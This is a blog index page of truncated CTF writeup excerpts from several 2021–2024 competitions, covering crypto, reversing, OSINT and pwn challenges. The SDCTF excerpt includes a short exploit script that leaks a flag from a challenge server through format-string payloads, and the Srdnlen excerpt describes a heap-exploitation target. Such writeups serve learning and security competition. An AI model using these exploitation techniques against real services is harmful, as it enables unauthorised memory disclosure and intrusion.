WaniCTF 2024 Writeup

WaniCTF 2024 Writeup Easy calc 1import os 2import random 3from hashlib import md5 4 5from Crypto.Cipher import AES 6from Crypto.Util.number import long_to_bytes, getPrime 7 8FLAG = os.getenvb(b"FLAG", b"FAKE{THIS_IS_NOT_THE_FLAG!!!!!!}") 9 10 11def encrypt(m: bytes, key: int) -> bytes: 12 iv = os.urandom(16) 13 key = long_to_bytes(key) 14 key = md5(key).digest() 15 cipher = AES.new(key, AES.MODE_CBC, iv=iv) 16 return iv + cipher.encrypt(m) 17 18 19def f(s, p): 20 u = 0 21 for i in range(p): 22 u += p - i 23 u *= s 24 u %= p 25 26 return u 27 28 29p = getPrime(1024) 30s = random.randint(1, p - 1) 31 32A = f(s, p) 33ciphertext = encrypt(FLAG, s).hex() 34 35 36print(f"{p = }") 37print(f"{A = }") 38print(f"{ciphertext = }") Flag が$s$の値を鍵として暗号化されています。 与えられた$A := f(s, p), p$の値から$s$を復元できないか考えてみます。 まず、$A = f(s, p)$の中身を式に起こしてみます。 $$ \begin{aligned} A = f(s, p) &= s(\dots( s(s(s(p-0)+(p-1))+(p-2)) + \dots + 2) + 1 \mod p \\ &= \sum_{i=0}^{p-1} s^{p-i}(p-i) \\ &= \sum_{i=1}^{p} s^{i}i \end{aligned} $$ ...

2024-06-22 · 6 min · 1165 words · Laika

SECCON CTF 2023 Final Writeup

はじめに 2023/12/23(土)- 2023/12/24(日)の2日間でSECCON CTF 2023の決勝戦が開催されました。 チーム southball 1 の4人で参加して国内3位でした🎉 思った以上の結果が出せて嬉しいです。 SECCON本戦に出場していました チームsouthballで国内3位でした! pic.twitter.com/CNyPbsQ2le — Laika (@ki4l_) December 24, 2023 チームメイトのwriteup Ciffelia: https://blog.ciffelia.com/article/seccon2023-finals southball: https://github.com/southball/ctf-writeups/tree/main/SECCON-CTF-2023-Final [Crypto] DLP 4.0 1import os 2import secrets 3import signal 4 5FLAG = os.getenv("FLAG", "FAKEFLAG{THIS_IS_FAKE}") 6 7 8if __name__ == "__main__": 9 signal.alarm(333) 10 p = int(input("What's your favorite 333-bit p: ")) 11 if not is_prime(p) or p.bit_length() != 333: 12 print("Invalid p") 13 exit() 14 order = p**2 - 1 15 x = secrets.randbelow(order) 16 Q = QuaternionAlgebra(Zmod(p), -1, -1) 17 g = Q.random_element() 18 h = g**x 19 print(f"{g = }") 20 print(f"{h = }") 21 _x = int(input("Guess x: ")) 22 if g**_x == h: 23 print(FLAG) 24 else: 25 print("NO FLAG") 問題は至ってシンプル。 333bitの素数$p$をサーバーへ送信する。 サーバー側で適当な$g \in \mathbb{H}_p$が選択される。 $g, g^x$が与えられるので、$x$を求める。 離散対数問題で、こちらが$p$を自由に決められる状況なので、Pohlig-Hellmanを真っ先に試しました。 ...

2023-12-29 · 9 min · 1864 words · Laika

TsukuCTF2023 Writeup

Wani HackaseでTsukuCTFに参加しました。 結果は1位でした。1 OSINTは普段面倒臭がって解かないんですが、これだけ出されると逆に解いてみたくなります。 とりあえず自分が関わった問題だけ書きます。 airport https://www.ana.co.jp/ja/jp/guide/inflight/service/domestic/dhc8-q400/ DHC8-Q400型機は、ANAグループ唯一のプロペラ機です。 らしいです。 就航していて割と町中にある空港を全部打ったら伊丹空港でした。 大阪に居るのに全然伊丹空港に行ったことがなく確信が持てませんでした。 fiction 最近強化されたGekkoくんの家です。2 3 これはVALORANTというゲームのマップで、sunsetというマップの一角です。 VALORANTはマップごとに緯度・経度みたいな設定があるので、それを調べて入力すると通ります。 VALORANTをやっている人にはラッキー問題です。 travel_with_tsukushi Air ArabiaとBatik AirとMalaysia Airlinesの機体がありますね。 Google Lens最強です。 Batik AirはBatik Air Malaysiaというのもあるらしいですが、関係性はよくわかりません。 とにかく国際便が多そうなので、これらの航空会社と関連性の高そうなマレーシアの大きい空港あたりっぽさそうです。 今回のOSINTはsubmitし放題なので投げてみると、クアラルンプール国際空港が該当しました。 TrainWindow 最近の写真は画質が良くて細部がよく見えます。 中央右寄りの黒い建物にTTCと書いてあるのでググります。 https://maps.app.goo.gl/XrMxi2vBWPyGv76T7 場所がそれっぽいですね。 あとは近くを走る線路上の画角が合う地点を探します。 grass_court テニスコートはほぼ情報がなく、画面中央を拡大すると見える謎のキャラクターと、左の木に隠れた電波天文台しか手掛かりがなく詰まっていました。 Ciffeliaが謎のキャラクターが奥州宇宙遊学館4のキャラクター「又三郎」であることを突き止めてくれたため、一気に解決しました。 どうやって見つけたんだろう。 sunset shioさんが何らかのイベント終了後に撮った写真から、場所ではなく時間を誤差1分で答える問題です。 しかも回答可能回数は3回。 無理じゃーんと思いましたが、場所さえ分かれば日没直前なのである程度の時刻はわかります。 とりあえずイベントを突き止めるためにshioさんのXを漁ります。 https://x.com/shio_sa1t/status/1698334659699192002 作問に追われていた時期がわかるので、だいたいこの直後あたりで作った問題な予感がします。(エスパー) 実際、上の示したポストの直後にセキュリティ・ミニキャンプ in 新潟 2023で講師をされていたことがわかります。 ここで写真を見返すと、西側の海の向こうに陸地が見えます。 新潟で撮影された写真であれば、西に佐渡島があるので、陸地が見えるのも頷けます。 新潟の写真であることにある程度確信が持てたところで、新潟の海岸あたりからそれっぽい場所を探します。 https://maps.app.goo.gl/ntPzN8f38J1MnsRh8 ...

2023-12-10 · 1 min · 87 words · Laika

SDCTF 2023 writeup

I participated SDCTF 2023 as Wani Hackase and took 5th place. Thank you for organizing nice CTF events! PWN/money-printer This binary contains a format string bug and the flag is located at stack. I just send %i$08lx to reveal the flag as shown below. 1from toyotama import * 2 3_r = Socket("nc money.sdc.tf 1337") 4_r.sendlineafter("want?\n", -1000) 5 6_r.sendlineafter("audience?\n", " ".join([f"%{i}$08lx" for i in range(10, 16)])) 7_r.recvuntil("said: ") 8flag = _r.recvline().decode().split() 9 10flag = b"".join([bytes.fromhex(x)[::-1] for x in flag]) 11flag += b"}" 12print(flag) sdctf{d4mn_y0u_f0unD_4_Cr4zY_4M0uN7_0f_M0n3y} MISC/Form bomb protector After connecting the server, it spawn a shell but we cannot use most commands since some syscall is prohibited. It accepts bash builtin commands, so I combined some of them to read the flag. ...

2023-05-11 · 11 min · 2315 words · Laika

RTACTF 2023 Writeup

RTACTF 2023にUZQueenで参加しました。1 起きたらちょうどRTACTFのpwnをやっていたので、布団でしばらく観戦したあとcryptoだけ参戦しました。 というか走っていた方々、手元を見られながらも解けるの本当にすごい ...

2023-03-21 · 2 min · 349 words · Laika

Srdnlen CTF 2022 Rat Pack

Srdnlen CTF 2022に参加していました。 解き損ねたpwnのRat Packという問題のメモです。 問題 典型的なheap問でよくある、メニューがあって操作ができるタイプの問題です。 書き方はかなりCっぽいですが、C++でコンパイルされています。 まずはGhidraとかで適当にreversingをしておきます。 rat構造体 この問題の中心となるratという構造体は以下のような構造になっています。(変数名は公式Writeup1で公開されているソースコードに準拠) 1struct rat { 2 struct rat** pack; // スタック上のstruct rat* packへのポインタ 3 void(*dialogue)(struct rat*); // base pointer 4 char name[16]; // ratの名前 5 int maxlen; // ratの名前の最大長 6} 7 8// |0|1|2|3|4|5|6|7|8|9|a|b|c|d|e|f| 9// +00h |pack-----------|dialogue-------| 10// +10h |name---------------------------| 11// +20h |maxlen---------| | 操作 この構造体に対して可能な操作は以下の通りです。ただし、packaddrはratを管理するサイズ16の配列です。 createRat() 1void createRat(struct rat** packaddr) { 2 // Allocate and initialize 3 struct rat* newRat = (struct rat*) malloc(sizeof(struct rat)); 4 newRat->maxlen = NAME_LEN; 5 newRat->dialogue = dialogue; 6 newRat->pack = packaddr; 7 name(newRat); 8 9 // Place rat in pack. 10 for (int i = 0; i < MAX_RATS; i++) { 11 if (packaddr[i] == NULL) { 12 packaddr[i] = newRat; 13 return; 14 } 15 } 16 printf("You ran out of rat space!\n"); 17 free(newRat); 18} sizeof(struct rat) = 0x28 のサイズの領域を確保(実際は0x30) これをnewRatとする。 newRatのメンバ変数を初期化し、name(newRat)で名前を設定 packaddrを先頭から走査し、空いている箇所にnewRatを設定 もし領域が空いていなければfree(newRat) greetRat() ...

2022-10-09 · 3 min · 564 words · Laika

SECCON Beginners CTF 2022 writeup

6月4日の14時から24時間開催されていたSECCON Beginners CTF 2022にWani Hackase で参戦して5位でした。 普段のreversing担当が不在だったので、reversingとcryptoを担当しました。 WinTLS [reversing, 102 solved] Windowsというだけで忌避していたこの手の問題に、久しぶりに挑戦しました。 .rdataを漁っていると香ばしい文字列(c4{f..., tfb%...)があったのでxrefで参照元を見に行きます。 2つのスレッドで文字列を処理していて、flagのインデックスに応じて2つの文字列に振り分けているようです。 操作は単純なので逆の操作をしてあげると、文字列を復元できます。 1t1 = b"c4{fAPu8#FHh2+0cyo8$SWJH3a8X" 2t2 = b"tfb%s$T9NvFyroLh@89a9yoC3rPy&3b}" 3 4flag = [] 5k1, k2 = 0, 0 6for i in range(len(t1+t2)): 7 if i % 3 == 0 or i % 5 == 0: 8 flag.append(t1[k1]) 9 k1 += 1 10 else: 11 flag.append(t2[k2]) 12 k2 += 1 13 14print(bytes(flag)) Flag: ctf4b{f%sAP$uT98Nv#FFHyrh2o+Lh0@8c9yoa98$ySoCW3rJPH3y&a83Xb} ところで、UndefinedFunctionがめちゃくちゃ見にくい…… Recursive [reversing, 127 solved] 再帰で文字列をぐちゃぐちゃにしてあります。 少しreversingをすると文字列長が書いてあるので、処理前の文字列が処理後にどこに配置されるかが分かれば、逆操作で元に戻せます。 1from string import printable 2 3table = b"ct`*f4(+bc95\".81b{hmr3c/}r@:{&;514od*<h,n'dmxw?leg(yo)ne+j-{(`q/rr3|($0+5s.z{_ncaur${s1v5%!p)h!q't<=l@_8h93_woc4ld%>?cba<dagx|l<b/y,y`k-7{=;{&8,8u5$kkc}@7q@<tm03:&,f1vyb'8%dyl2(g?717q#u>fw()voo$6g):)_c_+8v.gbm(%$w(<h:1!c'ruv}@3`ya!r5&;5z_ogm0a9c23smw-.i#|w{8kepfvw:3|3f5<e@:}*,q>sg!bdkr0x7@>h/5*hi<749'|{)sj1;0,$ig&v)=t0fnk|03j\"}7r{}ti}?_<swxju1k!l&db!j:}!z}6*`1_{f1s@3d,vio45<_4vc_v3>hu3>+byvq##@f+)lc91w+9i7#v<r;rr$u@(at>vn:7b`jsmg6my{+9m_-rypp_u5n*6.}f8ppg<m-&qq5k3f?=u1}m_?n9<|et*-/%fgh.1m(@_3vf4i(n)s2jvg0m4" 4 5FLAG_LEN = 0x28 6t = printable[: FLAG_LEN - 2] 7flag = [0 for _ in range(FLAG_LEN)] 8 9def check(s, i): 10 n = len(s) 11 if n == 1: 12 flag[t.index(s)] = table[i] 13 return 14 else: 15 m = n // 2 16 check(s[:m], i) 17 check(s[m:], m * m + i) 18 19check(t, 0) 20print(bytes(flag)) Flag: ctf4b{r3curs1v3_c4l1_1s_4_v3ry_u53fu1} ...

2022-06-05 · 5 min · 1064 words · Laika

LINE CTF 2022 Writeup

I participated in LINE CTF 2022 as a member of Wani Hackase, and solved four crypto challenges. ss-puzzle Just play an XOR puzzle using the fact S[0] == b"LINECTF{". Some values are still unknown but predictable from the restored flag. 1def xor(a, b): 2 return bytes(i ^ j for i, j in zip(a, b)) 3 4with open("Share1", "rb") as f: 5 s1 = f.read() 6with open("Share4", "rb") as f: 7 s4 = f.read() 8 9r0_s0 = s1[0:8] 10r2_s3 = s1[16:24] 11r3_s2 = s1[24:32] 12 13r0_s3 = s4[0:8] 14r1_s2 = s4[8:16] 15r2_s1 = s4[16:24] 16r3_s0 = s4[24:32] 17 18s0 = b"LINECTF{" 19r0 = xor(s0, r0_s0) 20s3 = xor(r0, r0_s3) 21r2 = xor(s3, r2_s3) 22s1 = xor(r2, r2_s1) 23r3 = xor(s0, r3_s0) 24s2 = b"wn_plain" 25r1 = xor(s2, r1_s2) 26print(s0 + s1 + s2 + s3 + r0 + r1 + r2 + r3) Flag: LINECTF{Yeah_known_plaintext_is_important_in_xor_based_puzzle!!} ...

2022-03-26 · 7 min · 1380 words · Laika

RTACTF 2021 Writeup

RTACTF 2021に参加しました。TAがメインのCTFって見たことなかったので新鮮でした。 ...

2021-12-19 · 2 min · 387 words · Laika

Asian Cyber Security Challenge 2021 Writeup

I played Asian Cyber Security Challenge 2021 this weekend and finished in 55th/483 place. I solved some crypto challenges and here’s how I solve them. ...

2021-09-22 · 5 min · 942 words · Laika